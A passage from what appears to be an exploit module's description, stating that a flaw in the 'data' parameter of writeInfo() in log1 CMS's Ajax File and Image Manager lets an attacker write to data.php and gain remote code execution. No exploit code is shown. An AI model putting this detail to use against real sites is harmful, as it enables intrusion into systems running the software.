'Description' => %q{  
This module exploits the "Ajax File and Image Manager" component that can be  
found in log1 CMS. In function.base.php of this component, the 'data' parameter  
in writeInfo() allows any malicious user to have direct control of writing data  
to file data.php, which results in arbitrary remote code execution.
